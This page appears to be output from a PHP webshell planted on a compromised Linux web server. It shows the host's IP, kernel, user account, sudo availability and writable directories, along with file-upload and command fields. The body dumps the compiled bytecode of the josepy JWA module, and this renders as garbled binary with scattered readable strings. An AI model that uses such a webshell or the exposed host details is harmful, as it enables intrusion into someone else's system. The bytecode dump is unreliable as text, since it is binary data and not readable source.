403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/josepy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/josepy/__pycache__/jwa.cpython-39.pyc
a

��[eQ�@s�dZddlZddlZddlmZddlmZmZmZddl	Z
ddlmZddl
mZmZddlmZmZmZddlmZmZdd	lmZdd
lmZmZmZe�e�ZGdd�dej �Z!Gd
d�de!e�Z"Gdd�de"�Z#Gdd�d�Z$Gdd�de$e"�Z%Gdd�de$e"�Z&Gdd�de"�Z'e"�(e#dej)��Z*e"�(e#dej+��Z,e"�(e#dej-��Z.e"�(e%dej)��Z/e"�(e%dej+��Z0e"�(e%dej-��Z1e"�(e&dej)��Z2e"�(e&d ej+��Z3e"�(e&d!ej-��Z4e"�(e'd"ej)��Z5e"�(e'd#ej+��Z6e"�(e'd$ej-��Z7dS)%zZJSON Web Algorithms.

https://tools.ietf.org/html/draft-ietf-jose-json-web-algorithms-40

�N)�Hashable)�Any�Callable�Dict)�default_backend)�hashes�hmac)�ec�padding�rsa)�decode_dss_signature�encode_dss_signature)�
HashAlgorithm)�errors�
interfaces�jwkc@seZdZdZdS)�JWAzJSON Web Algorithm.N)�__name__�
__module__�__qualname__�__doc__�rr�./usr/lib/python3.9/site-packages/josepy/jwa.pyrsrc@s�eZdZUdZiZeedfed<eed<edd�dd�Z	ee
d�d	d
�Zed�dd
�Z
eddd�dd��Zed�dd�Zeedd�dd��Zejeeed�dd��Zejeeee
d�dd��Zed�dd�ZdS)�JWASignaturez-Base class for JSON Web Signature Algorithms.�
SIGNATURES�ktyN)�name�returncCs
||_dS�N�r)�selfrrrr�__init__%szJWASignature.__init__)�otherrcCst|t�stS|j|jkSr)�
isinstancer�NotImplementedr)r r"rrr�__eq__(s
zJWASignature.__eq__)rcCst|j|jf�Sr)�hash�	__class__r�r rrr�__hash__-szJWASignature.__hash__)�
signature_clsrcCs||j|j<|S)z(Register class for JSON deserialization.)rr)�clsr*rrr�register0szJWASignature.registercCs|jSrrr(rrr�to_partial_json6szJWASignature.to_partial_json)�jobjrcCs
|j|Sr)r)r+r.rrr�	from_json9szJWASignature.from_json��key�msgrcCs
t��dS)�Sign the ``msg`` using ``key``.N��NotImplementedError)r r1r2rrr�sign=szJWASignature.sign�r1r2�sigrcCs
t��dS)z-Verify the ``msg`` and ``sig`` using ``key``.Nr4)r r1r2r8rrr�verifyBszJWASignature.verifycCs|jSrrr(rrr�__repr__GszJWASignature.__repr__)rrrrrr�str�__annotations__rr!�boolr%�intr)�classmethodr,r-r/�abc�abstractmethod�bytesr6r9r:rrrrr s 
rcsXeZdZejZeegefd��fdd�Z	e
e
e
d�dd�Ze
e
e
ed�dd	�Z
�ZS)
�_JWAHS�r�hash_cst��|�|�|_dSr��superr!r&�r rrE�r'rrr!Nsz_JWAHS.__init__r0cCs&tj||jt�d�}|�|�|��S)N�Zbackend)r�HMACr&r�updateZfinalize)r r1r2Zsignerrrrr6Rs
z_JWAHS.signr7c
Csntj||jt�d�}|�|�z|�|�Wn8tjjyd}zt	j
|dd�WYd}~dSd}~00dSdS)NrJT��exc_infoF)rrKr&rrLr9�cryptography�
exceptions�InvalidSignature�logger�debug)r r1r2r8Zverifier�errorrrrr9Ws
z
_JWAHS.verify)rrrrZJWKOctrr;rrr!rBr6r=r9�
__classcell__rrrIrrCKsrCc@sVeZdZUejZeZee	d<eZ
ee	d<ej
eed�dd�Zejeeed�dd�Zd	S)
�_JWARSAr
r&r0c
Cs�z|�||j|j�WStyP}z$tj|dd�t�d��WYd}~nHd}~0ty�}z(tj|dd�t�t	|���WYd}~n
d}~00dS)r3TrM�%Public key cannot be used for signingN)
r6r
r&�AttributeErrorrRrSr�Error�
ValueErrorr;�r r1r2rTrrrr6hsz_JWARSA.signr7c
CsZz|�|||j|j�Wn8tjjyP}ztj|dd�WYd}~dSd}~00dSdS)�,Verify the ``msg` and ``sig`` using ``key``.TrMNF)r9r
r&rOrPrQrRrS)r r1r2r8rTrrrr9ssz_JWARSA.verifyN)rrrrZJWKRSArr$r
rr<r&rrZ
RSAPrivateKeyrBr6ZRSAPublicKeyr=r9rrrrrVcs

rVcs.eZdZeegefdd��fdd�Z�ZS)�_JWARSN�rrErcs"t��|�t��|_|�|_dSr)rGr!r
ZPKCS1v15r&rHrIrrr!�s
z_JWARS.__init__�rrrr;rrr!rUrrrIrr]~sr]cs.eZdZeegefdd��fdd�Z�ZS)�_JWAPSNr^cs4t��|�tjt�|��tjjd�|_|�|_dS)N)ZmgfZsalt_length)rGr!r
ZPSSZMGF1Z
MAX_LENGTHr&rHrIrrr!�s
�z_JWAPS.__init__r_rrrIrr`�sr`cs�eZdZejZeegefd��fdd�Z	e
jeed�dd�Z
e
jeed�dd�Ze
jeeed	�d
d�Ze
jeeed�d
d�Z�ZS)�_JWAECrDcst��|�|�|_dSrrFrHrIrrr!�sz_JWAEC.__init__r0cCsB|�||�}t|�\}}tj�|j�}|j|dd�|j|dd�S)r3�big)�length�	byteorder)�_signrr�JWKEC�expected_length_for_curve�curve�to_bytes)r r1r2r8ZdrZdsrcrrrr6�s�z_JWAEC.signc
Cs�z|�|t�|j��WStyR}z$tj|dd�t�d��WYd}~nHd}~0t	y�}z(tj|dd�t�t
|���WYd}~n
d}~00dS)NTrMrW)r6r	�ECDSAr&rXrRrSrrYrZr;r[rrrre�sz_JWAEC._signr7cCs^tj�|j�}t|�d|kr"dSttj|d|�dd�tj||d�dd��}|�|||�S)r\�Frrb)rdN)	rrfrgrh�lenr
r>�
from_bytes�_verify)r r1r2r8Zrlen�asn1sigrrrr9�s�z
_JWAEC.verify)r1r2rorc
Cs\z|�||t�|j��Wn8tjjyR}ztj|dd�WYd}~dSd}~00dSdS)NTrMF)	r9r	rjr&rOrPrQrRrS)r r1r2rorTrrrrn�sz_JWAEC._verify)rrrrrfrr;rrr!r	ZEllipticCurvePrivateKeyrBr6reZEllipticCurvePublicKeyr=r9rnrUrrrIrra�s
ra�HS256�HS384�HS512�RS256�RS384�RS512�PS256�PS384�PS512�ES256�ES384�ES512)8rr@Zlogging�collections.abcr�typingrrrZcryptography.exceptionsrOZcryptography.hazmat.backendsrZcryptography.hazmat.primitivesrrZ)cryptography.hazmat.primitives.asymmetricr	r
rZ/cryptography.hazmat.primitives.asymmetric.utilsrr
Z%cryptography.hazmat.primitives.hashesrZjosepyrrrZ	getLoggerrrRZJSONDeSerializablerrrCrVr]r`rar,ZSHA256rpZSHA384rqZSHA512rrrsrtrurvrwrxryrzr{rrrr�<module>s>
+
0

Youez - 2016 - github.com/yon3zu
LinuXploit